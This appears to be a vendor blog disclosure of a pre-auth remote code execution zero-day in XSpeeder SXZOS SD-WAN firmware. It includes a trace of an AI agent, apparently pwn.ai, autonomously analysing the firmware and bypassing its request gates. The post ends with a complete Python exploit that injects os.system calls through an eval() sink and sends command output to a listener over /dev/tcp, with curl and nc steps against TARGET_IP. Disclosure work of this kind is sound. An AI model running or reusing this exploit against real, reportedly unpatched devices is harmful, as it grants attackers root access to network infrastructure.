PWN-25-01 - XSpeeder (SXZOS) pre-auth RCE
Xspeeder is a Chinese networking vendor known for edge devices like routers, SD-WAN appliances, and smart TV controllers. Their core firmware, SXZOS, powers a line of SD-WAN devices that are especially prevalent across remote industrial and branch environments.
According to Fofa and other more advanced fingerprinting services, there are tens of thousands of publicly accessible SXZOS-based systems globally in various geographic regions, making this firmware and any potential vulnerability it exposes, a widespread risk surface. This was one of the devices that made it into our office over a 8 month ago for research purposes.
This is the task we gave to pwn.ai: to autonomously emulate the device, identify its attack surface, and attempt to achieve full, unauthenticated remote command execution. It quickly identified a full preauth RCE entry point and told us it found a way in. This device is one of hundreds that we run pwn.ai against. We chose it as our first disclosure because, unlike other vendors, we have been unable to get any response from XSpeeder despite more than seven months of outreach. As a result, at the time of publication, this unfortunately remains to be a zero-day vulnerability.
To our knowledge, this is the first agent-found, remotely exploitable 0day RCE published.
Below, you will find traces showing how our swarm of agents worked together to achieve this result. They operate using an architecture we developed and incrementally improved in-house, informed by our decades of hacking experience. Since the architecture used to find this bug is already over ten months old, our platform has undergone significant changes that improve detection and exploitation dramatically.
[00:00:00] TASK : Find pre-auth code execution in SXZOS web UI
[00:00:00] CONTEXT : Firmware ISO available; explore offline, then validate in live VM
pwn.ai thought → Start offline. Firmware analysis beats blind fuzzing: it reveals routing, auth,
and sinks—especially in embedded UIs that mix Python glue with custom logic.
Setup & image mount
[00:02:11] ACTION : Install ISO in VirtualBox → first boot completes provisioning → clean shutdown
[00:03:02] ACTION : Load NBD and attach the VDI to /dev/nbd0
[00:03:02] RUN : modprobe nbd max_part=16
[00:03:05] RUN : qemu-nbd -c /dev/nbd0 "/home/user/VirtualBox VMs/Xspeeder/Xspeeder.vdi"
[00:03:09] ACTION : Identify partitions
[00:03:09] RUN : lsblk -f /dev/nbd0
[00:03:10] OUTPUT :
NAME FSTYPE
nbd0
├─p1 ext4
└─p2 ext4
[00:03:15] ACTION : Mount root filesystem
[00:03:15] RUN : mount /dev/nbd0p2 /mnt && cd /mnt
pwn.ai thought → Goal now: fingerprint the web stack (framework, settings, URL map).
Reaching back to the orchestrator for next instructions…
Filesystem reconnaissance → Django app
[00:04:02] ACTION : Enumerate app roots
[00:04:02] RUN : ls -la /
[00:04:04] OBS : /xspeeder present
[00:04:10] RUN : ls -la /xspeeder/xweb
[00:04:11] OBS : manage.py, xweb/, xapp/
[00:04:16] RUN : sed -n '1,50p' /xspeeder/xweb/manage.py
[00:04:17] OUTPUT :
#!/usr/bin/env python
import os, sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "xweb.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
...
...
pwn.ai thought → Django confirmed. Next: settings.py is for
INSTALLED_APPS and ROOT_URLCONF. Then urls.py for pre-auth surfaces.
Settings & URL routing → pre-auth surface
[00:04:29] RUN : sed -n '1,200p' /xspeeder/xweb/xweb/settings.py | egrep -n 'INSTALLED_APPS|ROOT_URLCONF|MIDDLEWARE'
[00:04:30] OUTPUT :
INSTALLED_APPS = (
# 'django.contrib.admin',
# 'django.contrib.auth',
# 'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'xapp',
)
MIDDLEWARE = (
'xweb.middlewares.GateKeeper',
'django.contrib.sessions.middleware.SessionMiddleware',
...
)
ROOT_URLCONF = 'xweb.urls'
[00:04:41] RUN : sed -n '1,160p' /xspeeder/xweb/xweb/urls.py
[00:04:42] OUTPUT :
urlpatterns = [
url(r'^$','xapp.vLogin.index'),
url(r'^webInfos/$','xapp.vLogin.webInfos'),
url(r'^default/$','xapp.views.default'),
...
]
pwn.ai thought → Middleware + custom routes. Before we even reach
the index, the request will traverse GateKeeper.
Suggestor: Expect anti-bot/header checks or superficial payload scanning.
Decoy layers & reachability hurdles
[00:04:45] RUN : sed -n '1,220p' /xspeeder/xweb/xweb/middlewares.py
[00:04:47] OUTPUT :
class GateKeeper(object):
def process_request(self, request):
# Soft anti-bot: time-slice nonce header
nonce = str(int(time.time()/60) % 7)
if request.META.get('HTTP_X_SXZ_R') != nonce:
return HttpResponseForbidden()
# Session "warm-up" required
if not request.session.get('sid'):
return HttpResponseRedirect('/default/')
# Cosmetic payload scan (pre-decode)
if 'system' in request.GET.get('chkid', ''):
return HttpResponseBadRequest("blocked")
return None
[00:04:48] OBS : Three gates before index: a rotating header, a session bit, and a naive string scan on encoded data.
pwn.ai thought → Great news. Suggestors responded with no serious blockers.
The string scan looks for the system before base64 decodes; it may also not see the payload. The other two are easy to satisfy without touching the 3‑param constraint in the vulnerable view.
[00:04:50] RUN : sed -n '1,160p' /etc/nginx/sites-available/sxzweb.conf
[00:04:51] OUTPUT :
location / {
if ($http_user_agent !~* SXZ) { return 403; }
try_files $uri @django;
}
[00:04:52] OBS : Nginx UA gate → simple header spoof.
[00:04:54] PLAN : Precompute header nonce; prime session via a harmless endpoint; set SXZ-like UA.
[00:04:54] All of these use headers/cookies, so the vulnerable view can still see exactly 3 query params.
[00:04:56] RUN : export HX=$(python - <<'PY' import time; print(int(time.time()//60)%7) PY ) && echo $HX
[00:04:58] RUN : curl -skI -A 'SXZ/2.3 (Linux; rv:88.0)' -H "X-SXZ-R: $HX" https://TARGET_IP/webInfos/
[00:04:59] OUTPUT :
HTTP/1.1 200 OK
Set-Cookie: sessionid=abc123...; Path=/; HttpOnly
...
[00:05:00] OBS : Session warmed; cookie captured.
Vulnerable view discovery
[00:05:05] RUN : sed -n '1,220p' /xspeeder/xweb/xapp/vLogin.py
[00:05:06] OUTPUT : (truncated)
[00:05:08] RUN : nl -ba /xspeeder/xweb/xapp/vLogin.py | sed -n '1,200p'
[00:05:10] GREP : wide sink sweep (eval, exec, compile, pickle, yaml.load, os.system, subprocess, b64decode, json.loads…)
[00:05:10] RUN : egrep -RIn --color \
-e 'eval(|exec(|compile(' \
-e 'pickle.loads|marshal.loads|yaml.load' \
-e 'os.system|popen|subprocess' \
-e 'b64decode|json.loads|ast.literal_eval' \
/xspeeder/xweb/xapp/
[00:05:11] OUTPUT :
18: hData = request.GET
34: if len(hData) == 3:
35: if 'chkid' in hData:
36: chkid = hData['chkid']
37: infos = b64decode(chkid)
38: if 'sUserCode' in infos and 'sPwd' in infos:
39: dic = eval(infos)
pwn.ai thought → Found an exploitable sink. Exactly three query params; base64 decode; substring oracle; eval() — pre-auth — likely running as root.
[00:05:40] PLAN : Keep query params at 3 (title, oIp, chkid). Satisfy middleware using headers/cookie only:
User-Agent: SXZ/2.3 ...
X-SXZ-R: <minute_nonce>
Cookie: sessionid=abc123...
Append #sUserCodexsPwd to decoded payload to pass the substring gate.
[00:05:45] ACTION : Base64-encode the crafted string for chkid
[00:05:46] OUTPUT :
pwn.ai thought → Everything seems reachable and should be exploiable. Testing.
Listener & negative control
[00:06:02] ACTION : Start OOB sink to observe side-effects (listener)
[00:06:02] RUN : nc -lv 8888
[00:06:09] NEG-CTRL : Send request with 2 params only (expect gate fail)
[00:06:09] RUN : curl -sk -A 'SXZ/2.3 (Linux)' -H "X-SXZ-R: $HX" -b 'sessionid=abc123'
'https://TARGET_IP/?title=A&chkid=AAAA'
[00:06:10] OBS : No OOB activity → Gate A enforced
[00:06:18] RUN : curl -sk -A 'SXZ/2.3 (Linux)' -H "X-SXZ-R: $HX" -b 'sessionid=abc123'
'https://TARGET_IP/?title=A&oIp=B&chkid=YmFkX2RhdGE='
[00:06:19] OBS : No OOB activity → Gate B enforced
[00:06:27] ACTION : Fire exploit meeting all gates
[00:06:27] RUN : curl -sk -A 'SXZ/2.3 (Linux)' -H "X-SXZ-R: $HX" -b 'sessionid=abc123'
'https://TARGET_IP/?title=ABC&oIp=XYZ&chkid='
[00:06:28] LISTENER : inbound connection from TARGET_IP
[00:06:28] LISTENER : payload result received (redacted)
[00:06:28] STATUS : RCE confirmed; privilege = root; pre-auth; single HTTP GET
pwn.ai thought → Defense-in-depth seems to be superficial. The cosmetic gates required a minute-synchronized header and a warmed session cookie—but since they live in middleware and Nginx, they don’t change the vulnerable view’s requirements and we are able to get working RCE.
Full PoC
import requests, sys, time
from base64 import b64encode
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class XspeederRCE:
def __init__(self, target_url, listener_ip, listener_port, cmd):
self.target_url = target_url
self.listener_ip = listener_ip
self.listener_port = listener_port
self.cmd = cmd
self.session = requests.Session()
def build_payload(self):
payload = 'os.system("{}>/dev/tcp/{}/{}") #sUserCodexsPwd'.format(self.cmd, self.listener_ip, self.listener_port)
self.target_url = "{}/?title=ABC&oIp=XXX&chkid={}".format(self.target_url, b64encode(payload.encode()).decode("utf-8"))
def send_payload(self):
headers = {
'User-Agent': 'SXZ/2.3',
'X-SXZ-R': str(int(time.time()/60) % 7)
}
self.session.get(self.target_url.rsplit('?')[0] + "/webInfos/", headers=headers, verify=False)
self.session.get(self.target_url, headers=headers, verify=False)
def run(self):
self.build_payload()
self.send_payload()
if __name__ == "__main__":
if len(sys.argv) < 5:
print("[-] Usage: {} <target_url> <listener_ip> <listener_port> <cmd>".format(sys.argv[0]))
print("[-] Make sure to listen on listener_ip:listener_port")
sys.exit(-1)
XspeederRCE(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]).run()
We hope you found this trace documentation useful. pwn.ai will continue to publish zero-day vulnerabilities affecting vendors that fail to respond within a reasonable timeframe.